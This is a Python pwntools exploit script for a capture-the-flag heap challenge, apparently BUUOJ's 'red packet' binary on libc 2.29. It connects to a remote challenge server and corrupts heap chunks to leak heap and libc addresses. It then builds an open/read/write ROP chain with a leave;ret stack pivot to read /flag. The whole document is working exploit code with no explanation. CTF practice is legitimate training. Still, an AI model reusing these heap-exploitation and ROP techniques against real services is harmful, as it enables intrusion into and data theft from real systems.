1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * context(os='linux',arch='amd64') #p = process("./buu") p = remote('node4.buuoj.cn',27621) libc = ELF("libc-2.29.so")
def debug(): gdb.attach(p) def add(index,choice,content): p.sendlineafter("Your input: ","1") p.sendlineafter("Please input the red packet idx: ",str(index)) p.sendlineafter("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ",str(choice)) p.sendlineafter("Please input content: ",content) def delete(index): p.sendlineafter("Your input: ","2") p.sendlineafter("Please input the red packet idx: ",str(index)) def edit(index,content): p.sendlineafter("Your input: ","3") p.sendlineafter("Please input the red packet idx: ",str(index)) p.sendlineafter("Please input content: ",content) def show(index): p.sendlineafter("Your input: ","4") p.sendlineafter("Please input the red packet idx: ",str(index)) for i in range(7): add(0,4,"aaa") delete(0) for i in range(6): add(1,2,"bbb") delete(1) show(0) heap_base = u64(p.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0x26c0 print(hex(heap_base)) add(2,4,"aaa") add(3,3,"aaa") delete(2) show(2) libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook'] print(hex(libcbase)) add(3,3,"aaa") add(3,3,"aaa") add(4,4,"aaa") add(5,3,"aaa") delete(4) add(5,3,"aaa") add(5,3,"aaa") payload = 'a'*0x300 + p64(0) + p64(0x101) + p64(heap_base + 0x37e0) + p64(heap_base + 0x250 + 0x10 + 0x800 - 0x10) edit(4,payload) pop_rdi_ret = libcbase + 0x0000000000026542 pop_rsi_ret = libcbase + 0x0000000000026f9e pop_rdx_ret = libcbase + 0x000000000012bda6 leave_ret = libcbase + 0x0000000000058373 ret = libcbase + 0x000000000002535f open_addr = libcbase + libc.sym['open'] read_addr = libcbase + libc.sym['read'] write_addr = libcbase + libc.sym['write'] file_addr = heap_base + 0x4940 payload = "/flag\x00\x00\x00" + p64(ret) + p64(pop_rdi_ret) + p64(file_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(file_addr + 0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(read_addr) payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(file_addr + 0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(write_addr) add(5,2,"aaa") add(4,4,payload) p.recv() p.sendline("666") p.recv() payload = 'a'*0x80 + p64(file_addr) + p64(leave_ret) p.sendline(payload) #debug() p.interactive()
|